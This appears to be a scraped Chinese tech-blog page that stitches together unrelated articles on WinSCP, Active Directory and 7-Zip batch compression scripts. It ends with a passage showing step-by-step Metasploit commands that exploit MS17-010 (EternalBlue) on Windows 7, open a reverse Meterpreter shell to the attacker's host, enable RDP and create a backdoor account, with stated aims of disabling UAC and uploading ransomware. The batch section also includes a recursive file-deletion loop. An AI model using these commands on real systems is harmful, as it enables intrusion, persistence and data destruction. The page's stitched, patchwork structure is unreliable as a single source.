精华内容
下载资源
问答
  • Windows下使用SSH挂载远程服务器目录

    千次阅读 2020-02-04 13:03:45
      Windows下使用SSH挂载远程服务器目录 前言   2020年对于中国人来说是个特殊的时期,同样的对于开发者的我们来说也是如此。今天是正月十一,按照以往今天应该是正常要上班了,但是由于今年肺炎疫情,所以...

        Windows下使用SSH挂载远程服务器目录



    前言

      2020年对于中国人来说是个特殊的时期,同样的对于开发者的我们来说也是如此。今天是正月十一,按照以往今天应该是正常要上班了,但是由于今年肺炎疫情,所以大部分的人都改成在家办公了。对于开发者的我们来说,绝大部分的编译环境都是在Linux环境下进行的,但是现在在家里远程办公需要通过使用SSH在Windos环境下挂载远程服务器目录,这里我推荐使用WinSCP工具,可以非常完美的达到这一目的。



    一.WinSCP介绍

    在正式开始操作以前,老规矩,让我们来先介绍介绍啥是WinSCP。这就好像给别人介绍对象,至少得有个初步了解吗?你说是不是。


    1.1 WinSCP软件特点

    WinSCP绿色中文版 一款基于SSH安全高效的FTP上传软件

    WinSCP是一款Windows环境下使用的基于SSH的开源文件上传客户端,同时支持SFTP、SCP、FTP协议,你可非常方便地使用拖拽操作,同时也支持批处理脚本及命令行方式操作,支持SSL/TLS、SSL、TLS三种加密方式,WinSCP还内置了文本编辑器,方便你进行文本编辑,在操作界面上给了你2种选择,一种是针对习惯于Windows操作的用户而设置的Windows Explorer界面,另一种采用了Norton Commander界面,对于那些熟悉NC的人来讲用这种操作界面w会更为快速,抛开鼠标操作用传统键盘操作同样可以键指如飞。

    SSH是Secure Shell英文的缩写,是建立在应用层和传输层基础上的安全协议。SSH协议是较可靠,专为远程登录会话和其他网络服务提供安全性的协议。


    1.2 WinSCP绿色中文版软件特性

    • 图形用户界面
    • 多语言
    • 与 Windows 完美集成(拖拽, URL, 快捷方式)
    • 支持所有常用文件操作
    • 支持基于 SSH-1、SSH-2 的 SFTP 和 SCP 协议
    • 支持批处理脚本和命令行方式
    • 多种半自动、自动的目录同步方式
    • 内置文本编辑器
    • 支持 SSH 密码、键盘交互、公钥和 Kerberos(GSS) 验证
    • 通过与 Pageant(PuTTY Agent)集成支持各种类型公钥验证
    • 提供 Windows Explorer 与 Norton Commander 界面
    • 可选地存储会话信息
    • 可将设置存在配置文件中而非注册表中,适合在移动介质上操作


    二.实际操作

    好了,前面对WinSCP有了相关的介绍了,我想读者对其优点有很清晰的认识了。下面就开始实际操作了。


    2.1 WinSCP软件安装

    这个不过多介绍了,这个东西不存在任何问题和过多可说的。


    2.2 windows下使用vpn连接

    这个不过多介绍了,这个东西根据实际情况配置。


    2.3实际操作

    假设我们远程服务器的地址是172.16.2.15,用户名和密码都是xxx,下面我们开始操作,先打开WinSCP软件,会提示输入用户名和密码以及地址,如下。
    在这里插入图片描述

    输入OK以后,点击登录,就会进行相关登录验证了,如下所示:

    在这里插入图片描述

    登录验证OK以后,就会进入如下操作界面,此时就可以将远程服务器的相关目录通过SSH挂载到windows下面进行相关的操作了,如下:

    在这里插入图片描述

    到这个阶段,就大功告成了。



    结语

    到 修行至此,恭喜读者你已经开启了Windows下使用SSH挂载远程服务器目录之路,行走于Windows江湖木有任何问题了。此时的你可以一剑走天下了,为师的必杀器已经倾囊相授了。各位江湖见。



    写在最后

      各位读者看官朋友们,Windows下使用SSH挂载远程服务器目录目录已经全部完毕,希望能吸引你,激活发你的学习欲望和斗志。在最后麻烦读者朋友们如果本篇对你有帮助,关注和点赞一下,当然如果有错误和不足的地方也可以拍砖。

    展开全文
  • windows-运维-03 活动目录

    千次阅读 2019-03-26 20:46:51
    windows-运维-03 活动目录 概述 Active Directory(活动目录)是Windows Server 2003域环境中提供目录服务的组件。目录服务在微软平台上从Windows Server 2000开始引入,所以我们可以理解为活动目录目录服务在...

    windows-运维-03 活动目录

    概述

    Active Directory(活动目录)是Windows Server 2003域环境中提供目录服务的组件。目录服务在微软平台上从Windows Server 2000开始引入,所以我们可以理解为活动目录是目录服务在微软平台的一种实现方式。当然目录服务在非微软平台上都有相应的实现。

    Windows Server 2012 R2有两种网络环境:工作组和域,默认是工作组网络环境,工作组网络也称为“对等式”的网络,因为网络中每台计算机的地位都是平等的。如下图:

    相关概念

    1.命名空间

    命名空间是一个界定好的区域,比如我们把电话簿看成一个“命名空间”,那么我们就可以通过电话簿这个界定好的区域里面的某个人名,找到与这个人名相关的电话、地址以及公司名称等信息。而Windows Server的活动目录就一个命名空间,我们通过活动目录里的对象的名称就可以找到与这个对象相关的信息。活动目录的“命名空间”采用DNS的架构,所以活动目录的域名采用DNS的格式来命名。我们可以把域名命名为feng.com、abc.com等。

    2.域、域树、林和组织单元

    活动目录的逻辑结构包裹:域(Domain)、域树(Domain Tree)、林(Forest)和组织单元(Organization Unit)。如下图:

    域是一种逻辑分组,准确的说是一种环境,域是安全的最小边界。域环境能对网络中的资源集中统一的管理,要想实现域环境,你必须要计算机中安装活动目录。

    域树是由一组具有连续命名空间的域组成的。如下图:

    其中最上层的域名为feng.com,这个域是这棵域树的根域(root domain),此根域下面有2个子域,分别是www.feng.com和file.feng.com。从图中我们可以看出他们的命名空间具有连续性。例如,域www.feng.com的后缀名包含着上一层父域的域名feng.com。其实子域www.feng.com和file.feng.com还都可以有自己的子域,图中没有给出而已。

    ​ 域树内的所有域共享一个Active Directory(活动目录),这个活动目录内的数据分散地存储在各个域内,且每一个域只存储该域内的数据,如该域内的用户账户,计算机账户等,Windows Server将存储在各个域内的对象总称为Active Directory。

    ​ 林(Forest)是由一棵或多棵域树组成的,每棵域树独享连续的命名空间,不同域树之间没有命名空间的连续性。林中第一棵域树的根域也整个林的根域,同时也是林的名称。

    组织单元(OU)是一种容器,它里面可以包含对象(用户账户,计算机账户等),也可以包含其他的组织单元(OU)。

    3. 域控制器和站点

    活动目录的物理结构由域控制器和站点组成。

    ​ 域控制器(Domain Controller)是活动目录的存储地方,也就是说活动目录存储在域控制器内。安装了活动目录的计算机就称为域控制器,其实在你第一次安装活动目录的时候,你安装活动目录的那台计算机就成为了域控制器。一个域可以有一台或多台域控制器。最经典的做法是做一个主辅域控。呵呵,这些概念听起来有些咬嘴。

    域是逻辑组织形式,它能够对网络中的资源进行统一管理,就像工作组环境对网络进行分散管理一样,要想实现域,必须在一台计算机上安装活动目录才能实现,而安装了活动目录的计算机就称为域控制器(DC)。

    当一台域控制器的活动目录数据库发生改动时,这些改动的数据将会复制到其他域控制器的活动目录数据库内。

    站点(Site)一般与地理位置相对应。它由一个或几个物理子网组成。创建站点的目的是为了优化DC之间的复制。活动目录允许一个站点可以有多个域,一个域也是可以属于多个站点。

    活动目录的优势

    Active Directory服务提供了单一登入的能力和一个所有基础设施相关信息的集中储存机制,大幅度的简化了使用者和计算机的管理,同时提供优越的网络资源存取能力。

    微软在Windows Server 2000中首次引入了AD技术,经过几年的发展,AD技术已经成为了微软网络架构的核心,几乎所有的产品和技术都是围绕这AD这个核心运转的。可以这么说,在网络中不实现AD,就无法基于微软产品和技术实现基本的网络管理,也无法适应将来的技术发展!

    那么到底安装活动目录有什么意义呢?这是所有初学Windows Server的人首要要问的一个问题。因为活动目录并不是Windows系统必需安装的一种服务,要全面理解它又是非常的不容易,那么安装活动目录的意义在哪里呢?它主要体现在以下几个方面:

    1、信息的安全性大大增强

    2、引入基于策略的管理,使系统的管理更加明朗

    3、具有很强的可扩展性

    4、具有很强的可伸缩性

    5、智能的信息复制能力

    6、与 DNS 集成紧密

    7、与其他目录服务具有互连性

    8、具有灵活的查询

    本篇到此结束。

    展开全文
  • 最近整理资料,发现很多 pdf 文档,占用了不少的存储空间,考虑使用 7-zip 进行压缩存储,由于文件比较多,且分散在不同目录下,一个个文件压缩比较繁琐。为了提高效率且,方便后面取用,所有打算捣鼓个批处理文件,...


    最近整理资料,发现很多 pdf 文档,占用了不少的存储空间,考虑使用 7-zip 进行压缩存储,由于文件比较多,且分散在不同目录下,一个个文件压缩比较繁琐。为了提高效率且,方便后面取用,所有打算捣鼓个批处理文件,来实现命令行调用 7-zip 来对目录下的每个文档进行单独打包,并将打包后的压缩包存到指定的目录下,详细内容见下文。

    本文在 Windows10 64位 操作系统下,使用的命令行提示符(cmd)版本为 10.0.17134.7067-zip64位 16.04 版本,使用下面脚本时请确保安装了 7-zip ,可在此处下载最新版


    for 命令实现

    以下展示几种通过 for 命令来遍历打包压缩批处理文件的示例:

    @echo off
    :: 切换当前编码方式为 UTF-8,处理命令行窗口标题乱码问题
    chcp 65001
    title 批量压缩当前目录下个文件到各自压缩包
    :: 切换回默认 GBK 编码,处理命令行输出乱码问题
    chcp 936
    echo ---------- START -------------
    
    :: 实现一:遍历当前目录下(不含子目录)的pdf文件, 压缩成与当前文件同名的 7z 格式文件, 最后压缩文件存放在当前目录下新建的 7z 文件夹(可自定义,特换自己想要的文件夹名称)下
    :: for %%F in (*.pdf) do (echo "%%~nF" && "C:\Program Files\7-Zip\7z.exe" a -t7z ".\7z\%%~nF.7z" "%%F" )
    
    :: 实现二:遍历当前目录下(不含子目录)的文件夹进行压缩, 压缩成与当前文件夹同名的 7z 格式文件 , 最后压缩文件存放在目录下新建的 7z 文件夹(可自定义,特换自己想要的文件夹名称)下(如想以目录形式打包,可以参考此方式)
    :: for /d %%F in (*) do (echo "%%~nF" && "C:\Program Files\7-Zip\7z.exe" a -t7z ".\7z\%%~nF.7z" "%%F" )
    
    :: 实现三:遍历当前目录下(含子目录)的pdf文件进行压缩, 压缩成与当前文件同名的 7z 格式文件 , 最后压缩文件存放在目录下新建的 7z 文件夹(可自定义,特换自己想要的文件夹名称)下
    :: for /r %%F in (*.pdf) do (echo "%%~nF" && "C:\Program Files\7-Zip\7z.exe" a -t7z ".\7z\%%~nF.7z" "%%F" )
    
    :: 实现四:遍历当前目录下(含子目录)的pdf文件进行压缩, 压缩成与当前文件同名的 7z 格式文件 , 最后压缩文件存放在与当前文件同目录下
    :: for /r %%F in (*.pdf) do (echo "%%~nF" && "C:\Program Files\7-Zip\7z.exe" a -t7z "%%~dpnF.7z" "%%F" )
    
    :: 实现五:遍历当前目录下(含子目录)的pdf文件进行压缩, 打包到 PDF.7z 压缩包内 , 最后压缩文件存放在当前目录下
    ::for /r %%F in (*.pdf) do (echo "%%~nF" && 7z a -t7z "PDF.7z" "%%F" )
    
    echo ----------  END  -------------
    pause
    

    以上展示了几种处理方式,更多方式自行扩展,如:

    • 上述示例均已 .pdf 类型为例,如果想压缩其他类型文件,可以更换 *.pdf 为对应的 *.类型 (如, *.doc ),其他通配符自行尝试;
    • 如想将文件压缩为 zip 格式,则替换命令中的 -t7z ".\7z\%%~nF.7z" 替换成 -tzip ".\7z\%%~nF.zip"
    • 如想改变压缩算法或比例等,参考下文 7z 的相关命令,进行尝试;

    使用方法

    1. 复制以上代码内容到新建的文本文档内;(可以在此处下载脚本文件
    2. 确定要使用哪种实现来批量打包自己的文件,则删除对应实现下 for 命令前的双英文冒号(::,此符号等效于 rem 命令,是批处理文件的注释标识符,双英文冒号后面的内容是注释说明,不会被当做代码执行 ),并保存;
    3. 修改该新建文本文档的扩展名 .txt 改为 .bat,文件名自行定义;
    4. 将文件拷到要使用的目录下,双击运行(切记不要管理员模式运行)。

    使用上述代码需要特别注意:

    • 当前 for 命令实现版本,不要使用管理员方式运行!不要使用管理员方式运行!不要使用管理员方式运行!重要的事情说三遍!管理员方式运行,会在 System32 目录下生效(因管理员模式运行时,会调用 System32 目录下的 cmd 命令提示符来执行脚本) ,切记!
    • 代码中的 C:\Program Files\7-Zip\7z.exe 是本人电脑上安装的路径,注意安装了 7-zip ,并修改为自己电脑上的路径,否则无法使用,如果将 7z 安装路径配置到环境变量 path 中,则可以将此处的路径替换为 7z.exe(或 7z

    批处理 for 命令说明

    for 命令可以对一组文件中的每个文件进行指定的操作,命令语法如下:

    FOR %variable IN (set) DO command [command-parameters]
    

    cmd 命令行下使用命令 for /? 可以看到 for 相关的解释说明:

    对一组文件中的每一个文件执行某个特定命令。
    
    FOR %variable IN (set) DO command [command-parameters]
    
      %variable  指定一个单一字母可替换的参数。
      (set)      指定一个或一组文件。可以使用通配符。
      command    指定对每个文件执行的命令。
      command-parameters
                 为特定命令指定参数或命令行开关。
    
    在批处理程序中使用 FOR 命令时,指定变量请使用 %%variable 而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I.
    
    如果启用命令扩展,则会支持下列 FOR 命令的其他格式:
    	FOR /D %variable IN (set) DO command [command-parameters]
    
    如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配。
    	FOR /R [[drive:]path] %variable IN (set) DO command [command-parameters]
    
            检查以 [drive:]path 为根的目录树,指向每个目录中的 FOR 语句。
            如果在 /R 后没有指定目录规范,则使用当前目录。如果集仅为一个单点(.)字符,
            则枚举该目录树。
    
    	FOR /L %variable IN (start,step,end) DO command [command-parameters]
    
        	该集表示以增量形式从开始到结束的一个数字序列。因此,(1,1,5)将产生序列 1 2 3 4 5,(5,-1,1)将产生序列(5 4 3 2 1)
    
        FOR /F ["options"] %variable IN (file-set) DO command [command-parameters]
        FOR /F ["options"] %variable IN ("string") DO command [command-parameters]
        FOR /F ["options"] %variable IN ('command') DO command [command-parameters]
    
            或者,如果有 usebackq 选项:
    
        FOR /F ["options"] %variable IN (file-set) DO command [command-parameters]
        FOR /F ["options"] %variable IN ("string") DO command [command-parameters]
        FOR /F ["options"] %variable IN ('command') DO command [command-parameters]
    
            fileset 为一个或多个文件名。继续到 fileset 中的下一个文件之前,
            每份文件都被打开、读取并经过处理。处理包括读取文件,将其分成一行行的文字,
            然后将每行解析成零或更多的符号。然后用已找到的符号字符串变量值调用 For 循环。
            以默认方式,/F 通过每个文件的每一行中分开的第一个空白符号。跳过空白行。
            你可通过指定可选 "options" 参数替代默认解析操作。这个带引号的字符串包括一个
            或多个指定不同解析选项的关键字。这些关键字为:
    
                eol=c           - 指一个行注释字符的结尾(就一个)
                skip=n          - 指在文件开始时忽略的行数。
                delims=xxx      - 指分隔符集。这个替换了空格和制表符的
                                  默认分隔符集。
                tokens=x,y,m-n  - 指每行的哪一个符号被传递到每个迭代
                                  的 for 本身。这会导致额外变量名称的分配。m-n
                                  格式为一个范围。通过 nth 符号指定 mth。如果
                                  符号字符串中的最后一个字符星号,
                                  那么额外的变量将在最后一个符号解析之后
                                  分配并接受行的保留文本。
                usebackq        - 指定新语法已在下类情况中使用:
                                  在作为命令执行一个后引号的字符串并且一个单
                                  引号字符为文字字符串命令并允许在 file-set
                                  中使用双引号扩起文件名称。
    
    某些范例可能有助:
    
    	FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do @echo %i %j %k
    
            会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将
            每行中的第二个和第三个符号传递给 for 函数体,用逗号和/或
            空格分隔符号。请注意,此 for 函数体的语句引用 %i 来
            获得第二个符号,引用 %j 来获得第三个符号,引用 %k
            来获得第三个符号后的所有剩余符号。对于带有空格的文件
            名,你需要用双引号将文件名括起来。为了用这种方式来使
            用双引号,还需要使用 usebackq 选项,否则,双引号会
            被理解成是用作定义某个要分析的字符串的。
    
            %i 在 for 语句中显式声明,%j 和 %k 是通过
            tokens= 选项隐式声明的。可以通过 tokens= 一行
            指定最多 26 个符号,只要不试图声明一个高于字母 "z" 或
            "Z" 的变量。请记住,FOR 变量是单一字母、分大小写和全局的变量;
            而且,不能同时使用超过 52 个。
    
            还可以在相邻字符串上使用 FOR /F 分析逻辑,方法是,
                用单引号将括号之间的 file-set 括起来。这样,该字符
            串会被当作一个文件中的一个单一输入行进行解析。
    
    最后,可以用 FOR /F 命令来分析命令的输出。方法是,将
    括号之间的 file-set 变成一个反括字符串。该字符串会
    被当作命令行,传递到一个子 CMD.EXE,其输出会被捕获到
    内存中,并被当作文件分析。如以下例子所示:
          FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
    
        	会枚举当前环境中的环境变量名称。
    
    
    另外,FOR 变量参照的替换已被增强。你现在可以使用下列
    选项语法:
         %~I          - 删除任何引号("),扩展 %I
         %~fI        - 将 %I 扩展到一个完全合格的路径名
         %~dI        - 仅将 %I 扩展到一个驱动器号
         %~pI        - 仅将 %I 扩展到一个路径
         %~nI        - 仅将 %I 扩展到一个文件名
         %~xI        - 仅将 %I 扩展到一个文件扩展名
         %~sI        - 扩展的路径只含有短名
         %~aI        - 将 %I 扩展到文件的文件属性
         %~tI        - 将 %I 扩展到文件的日期/时间
         %~zI        - 将 %I 扩展到文件的大小
         %~$PATH:I   - 查找列在路径环境变量的目录,并将 %I 扩展
                       到找到的第一个完全合格的名称。如果环境变量名
                       未被定义,或者没有找到文件,此组合键会扩展到
                       空字符串
    
    可以组合修饰符来得到多重结果:
    
         %~dpI       - 仅将 %I 扩展到一个驱动器号和路径
         %~nxI       - 仅将 %I 扩展到一个文件名和扩展名
         %~fsI       - 仅将 %I 扩展到一个带有短名的完整路径名
         %~dp$PATH:I - 搜索列在路径环境变量的目录,并将 %I 扩展
                       到找到的第一个驱动器号和路径。
         %~ftzaI     - 将 %I 扩展到类似输出线路的 DIR
    
    在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法
    用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名比较易读,而且避免与不分大小写的组合键混淆。
    
    

    微软文档说明中语法如下

    for {%%|%}<Variable> in (<Set>) do <Command> [<CommandLineOptions>]
    
    参数描述
    {%%|%}必需。 表示可替换参数。在命令提示符执行 for 命令时使用一个百分号 ( % ), 在命令批处理文件中执行 for 命令时使用双百分号 ( %% ) 。变量区分大小写,且必须使用字母表示,如 %A%B,或 %C
    ()必需。 指定一个或多个文件,目录或文本字符串,或运行该命令的一系列值。 两边需要圆括号。
    必需。 指定要在每个文件、 目录或文本字符串或上中包含的值的范围缩小执行的命令设置
    指定你想要指定命令中使用任何命令行选项。
    /?在命令提示符下显示帮助。

    更多介绍及示例参看此处


    forfiles 命令实现

    以下展示几种通过 forfiles 命令来遍历打包压缩批处理文件的示例:

    @echo off
    :: 切换当前编码方式为 UTF-8,处理命令行窗口标题乱码问题
    chcp 65001
    title 批量压缩当前目录下个文件到各自压缩包
    :: 切换回默认 GBK 编码,处理命令行输出乱码问题
    chcp 936
    echo ---------- START -------------
    
    ::实现一:遍历当前目录下(含子目录)的pdf文件进行压缩, 压缩成与当前文件同名的 7z 格式文件 , 最后压缩文件存放在 7z 目录下
    :: Forfiles /P .\ /s /m *.pdf /c "cmd /c echo @FNAME && 7z a -t7z .\7z\@FNAME.7z @PATH"
    
    ::实现二:遍历当前目录下(含子目录)的pdf文件进行压缩, 压缩成与当前文件同名的 7z 格式文件 , 最后压缩文件存放在与当前文件同目录下
    :: Forfiles /P .\ /s /m *.pdf /c "cmd /c echo @FNAME && 7z a -t7z ./@FNAME.7z @PATH"
    
    ::实现三:遍历当前目录下(不含子目录)的pdf文件进行压缩, 压缩成与当前文件同名的 7z 格式文件 , 最后压缩文件存放在 7z 目录下
    ::Forfiles /P .\ /m *.pdf /c "cmd /c echo @FNAME && 7z a -t7z .\7z\@FNAME.7z @RELPATH"
    
    ::实现四:遍历当前目录下(含子目录)的pdf文件进行压缩, 打包到 PDF.7z 压缩包内 , 最后压缩文件存放在当前目录下
    :: Forfiles /P .\ /s /m *.pdf /c "cmd /c echo @FNAME && 7z a -t7z .\PDF.7z @PATH"
    
    echo ----------  END  -------------
    pause
    

    以上展示了几种 forflies 命令的处理方法,更多扩展使用,自行尝试,使用方法类似之前 for 命令实现的使用方法。可以在此处下载脚本文件

    使用上述代码需要特别注意:

    • forfiles 命令,需要自己给定要处理的目录路径(如,代码中的 D:\work 是我存放 pdf 等文件的目录,替换成自己的目录即可)

    • 给定目录后,可以在任意位置执行该脚本,且可以管理员方式运行。

    • 7-zip 安装路径配置到环境变量 path 中,以方便在 forfilescmd 命令字符串中使用


    批处理 forfiles 命令说明

    forfiles 命令可以对一组文件中的每个文件进行指定的操作,命令语法如下:

    FORFILES [/P pathname] [/M searchmask] [/S] 
    		 [/C command] [/D [+ | -] {yyyy/MM/dd | dd}]
    

    cmd 命令行下使用命令 forfiles /? 可以看到 forfiles 相关的解释说明:

    FORFILES [/P pathname] [/M searchmask] [/S]
             [/C command] [/D [+ | -] {yyyy/MM/dd | dd}]
    
    描述:
        选择一个文件(或一组文件)并在那个文件上
        执行一个命令。这有助于批处理作业。
    
    参数列表:
        /P    pathname      表示开始搜索的路径。默认文件夹是当前工作的
                            目录 (.)。
        /M    searchmask    根据搜索掩码搜索文件。默认搜索掩码是 '*'。
        /S                  指导 forfiles 递归到子目录。像 "DIR /S"。
        /C    command       表示为每个文件执行的命令。命令字符串应该
                            用双引号括起来。
                            
                            默认命令是 "cmd /c echo @file"。下列变量
                            可以用在命令字符串中:
                            
                            @file    - 返回文件名。
                            @fname   - 返回不带扩展名的文件名。
                            @ext     - 只返回文件的扩展名。
                            @path    - 返回文件的完整路径。
                            @relpath - 返回文件的相对路径。
                            @isdir   - 如果文件类型是目录,返回 "TRUE";
                                       如果是文件,返回 "FALSE"。
                            @fsize   - 以字节为单位返回文件大小。
                            @fdate   - 返回文件上一次修改的日期。
                            @ftime   - 返回文件上一次修改的时间。
    
                            要在命令行包括特殊字符,字符请以 0xHH
                            形式使用十六进制代码(例如,0x09 为 tab)。
                            内部 CMD.exe 命令前面应以 "cmd /c" 开始。
    
        /D    date          选择文件,其上一次修改日期大于或等于 (+),
                            或者小于或等于 (-) 用 "yyyy/MM/dd" 格式指定的日期;
    
                            或选择文件,其上一次修改日期大于或等于 (+)
                            当前日期加 "dd" 天,或者小于或等于 (-) 当前
    
                            日期减 "dd" 天。有效的 "dd" 天数可以是
                            0 - 32768 范围内的任何数字。如果没有指定,
    
                            "+" 被当作默认符号。
    
        /?                  显示此帮助消息。
    
    示例:
        FORFILES /?
        FORFILES
        FORFILES /P C:\WINDOWS /S /M DNS*.*
        FORFILES /S /M *.txt /C "cmd /c type @file | more"
        FORFILES /P C:\ /S /M *.bat
        FORFILES /D -30 /M *.exe
                 /C "cmd /c echo @path 0x09 在 30 前就被更改。"
        FORFILES /D 2001/01/01
                 /C "cmd /c echo @fname 在 2001年1月1日就是新的。"
        FORFILES /D +2019/6/14 /C "cmd /c echo @fname 今天是新的。"
        FORFILES /M *.exe /D +1
        FORFILES /S /M *.doc /C "cmd /c echo @fsize"
        FORFILES /M *.txt /C "cmd /c if @isdir==FALSE notepad.exe @file"
    
    

    微软文档说明中语法如下

    forfiles [/p <Path>] [/m <SearchMask>] [/s] [/c "<Command>"] [/d [{+|-}][{<Date>|<Days>}]]
    
    参数描述
    /p 指定开始搜索的路径。默认情况下,搜索从当前工作目录开始。
    /m 根据指定的搜索掩码搜索文件。默认搜索掩码是 *.\ *
    /s指示forfiles命令以递归方式搜索子目录。
    在每个文件上运行指定的命令。命令字符串包含在双引号中。默认命令是“cmd / c echo @file”。
    /d [{+|-}]⁠[{|}]选择具有指定的时间范围内的上次修改日期的文件。
    - 选择文件的上次修改日期晚于或等于 ( + ) 或早于或等于 ( - ) 指定的日期,其中日期采用格式 MM/DD/YYYY。
    - 选择文件的上次修改日期晚于或等于 ( + ) 的当前日期加上指定,天内或早于或等于 ( - ) 的当前日期减去天数指定。
    有效值范围 0-32,768 中包含任意数量。 如果指定没有登录,则 + 默认情况下使用。
    /?在命令提示符下显示帮助。

    更多介绍及示例参看此处


    关于 7-zip

    7-Zip 是一款拥有极高压缩比的开源压缩软件。支持 Windows、Linux等平台。通常使用 7-Zip.7z 格式能比使用 .zip 格式的压缩档案小 30-70%。并且使用 7-Zip 创建的 .zip 格式比大多数其它压缩软件创建的都小 2-10%。关于 7-zip 等更多内容,可以参看官网说明

    7-zip 安装完成后,在安装目录下,可以找到当前版本 7-zip.chm 帮助文档,中文帮助文档可以在此处下载 ,文档下载后,打开无内容,可以尝试在文档属性中勾选 解除锁定 ,点击应用即可。

    7-zip文档解除锁定

    7-zip 命令行的语法格式大致如下:

    7z <command> [<switch>...] <base_archive_name> [<arguments>...]
    
    7z <命令行> [<选项>...] <基本档案名称> [<参数变量>...]
    

    关于 7-zip 命令行版本的更多内容,在文档中有较为详细的介绍,并附有示例,可以自行学习尝试。

    7-zip 命令行版本用户手册


    DEL 命令删除文件

    最后,附上递归删除指定类型文件批处理代码(可以用来批量删除打包的源文件)

    **特别注意:**此删除为完全删除,回收站不可见,且无法撤销还原,请慎用!!!

    :: 删除目录下(含子目录下)符合条件的文件
    @echo off
    :: 不推荐使用此方法,管理员模式运行时可能会误删 System32 目录下文件,请慎用!!!
    ::for /r %%F in (*.7z) do (DEL /p "%%F" )
    
    :: 推荐使用此方法,支持管理员方式运行(因提供了绝对路径)
    forfiles /P "D:\work" /s /m *.7z /c "cmd /c DEL /p @PATH"
    pause
    

    cmd 命令行下使用命令 DEL /? 可以看到 DEL 相关的解释说明:

    删除一个或数个文件。
    
    DEL [/P] [/F] [/S] [/Q] [/A[[:]attributes]] names
    ERASE [/P] [/F] [/S] [/Q] [/A[[:]attributes]] names
    
      names         指定一个或多个文件或者目录列表。
                    通配符可用来删除多个文件。
                    如果指定了一个目录,该目录中的所
                    有文件都会被删除。
    
      /P            删除每一个文件之前提示确认。
      /F            强制删除只读文件。
      /S            删除所有子目录中的指定的文件。
      /Q            安静模式。删除全局通配符时,不要求确认
      /A            根据属性选择要删除的文件
      属性          R  只读文件                     S  系统文件
                    H  隐藏文件                     A  存档文件
                    I  无内容索引文件               L  重分析点
                    -  表示“否”的前缀
    
    如果命令扩展被启用,DEL 和 ERASE 更改如下:
    
    /S 开关的显示句法会颠倒,即只显示已经
    删除的文件,而不显示找不到的文件。
    

    建议: 使用删除时,DEL 命令后使用 /p 命令参数,来手动确认删除文件,防止误删!


    参考阅读

    微软文档 - Windows Commands

    Computer Hope - Microsoft DOS and Windows command line

    7-zip 中文帮助文档

    展开全文
  • 提示:本文章内所有内容环境为自己搭建绝无违法内容,请不要利用其中的技术来做违法的事情。 声明:法律问题与本作者无关,请...实施利用 Kali Linux 对 Windows7 SP1 进行永恒之蓝操作,所以操作将在虚拟机上完成。...

    提示:本文章内所有内容环境为自己搭建绝无违法内容,请不要利用其中的技术来做违法的事情。

    声明:法律问题与本作者无关,请自觉遵守!

    实施利用 Kali Linux 对 Windows7 SP1 进行永恒之蓝操作,所以操作将在虚拟机上完成。

    我们要学习的内容如下:

    • 隐藏后门的意义
    • 使用 ms17-010 永恒之蓝漏洞对 win7 进行渗透
    • 使用 enable_rdp 脚本开启远程桌面并创建用户
    • 关闭主机 UAC 防护策略并开启后门
    • 上传勒索文件至 C 盘根目录下并运行

    隐藏的后门

    通常我们获取到目标计算机的 shell 是短暂的,不可持续使用的,再或者我们很容易被用户察觉到,所以我们需要扩大战果来隐藏自己的行踪和保证我们的持久性访问。

    使用 ms17-010 永恒之蓝漏洞对 win7 进行渗透

    环境介绍全部使用 Win7 作为测试机来进行渗透测试Win7 环境说明:IP 地址 192.168.1.56 ,防火墙状态开启。使用永恒之蓝获取系统 Shell永恒之蓝简述:永恒之蓝是指 2017 年 4 月 14 日晚,黑客团体 Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含“永恒之蓝”工具,“永恒之蓝”利用 Windows 系统的 SMB 漏洞可以获取系统最高权限。5 月 12 日,不法分子通过改造“永恒之蓝”制作了 wannacry 勒索病毒,英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件。注: windows7 是 2009 年正式发布。我们需要利用 win7 的经典漏洞“永恒之蓝”。官方漏洞描述:https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2017/ms17-010永恒之蓝相关病毒,其实是利用了微软的 MS17-010 漏洞。MS17-010 是 Windows 系统一个底层服务的漏洞,恶意代码会扫描开放 445 文件共享端口的 Windows 机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。首先我们需要对主机进行扫描进入 Kali Linux 的 msf5 工具

    root@icbugdeo:~# msfcontrol

    详情命令如下:

    msf5 > use auxiliary/scanner/smb/smb_ms17_010msf5 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.1.56msf5 auxiliary(scanner/smb/smb_ms17_010) > exploit

    扫描出漏洞可以发现上方有一个 MS17-010 的漏洞已经被检查出来这里 Windows 7 防火墙一定要关闭否则 Kali Linux 检测不到上图 VULNERABLE 意思为脆弱的也就是我们很容易攻击 Windows 7 系统我们接着来看既然客户机存在 MS17-010 漏洞下面开始漏洞利用

    msf5 auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_010_eternalblue

    利用 exploit 检测出的漏洞

    msf5 exploit(windows/smb/ms17_010_eternalblue) >  show options

    在这里插入图片描述

    msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.56msf5 exploit(windows/smb/ms17_010_eternalblue) > set payloadwindows/x64/meterpreter/reverse_tcpmsf5 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.53msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit

    在这里插入图片描述可能会失败,让他多跑几次

    我们现在需要查看一下权限

    meterpreter > getuid

    使用 enable_rdp 脚本开启远程桌面并创建用户

    RDP 概述:远程桌面协议(RDP, Remote Desktop Protocol)是一个多通道(multi-channel)的协议,让用户(客户端或称“本地电脑”)连上提供微软终端机服务的电脑(服务器端或称“远程电脑”)。启用远程桌面

    meterpreter > run post/windows/manage/enable_rdp

    创建一个新用户来远程连接 win7 桌面

    meterpreter > run post/windows/manage/enable_rdp USERNAME=icbug    PASSWORD=123456

    在 Kali 系统上,按下 Ctrl+shift+t 新建终端窗口,或点击终端按钮开启一个终端:

    root@icbugdeo:~# rdesktop 192.168.1.56

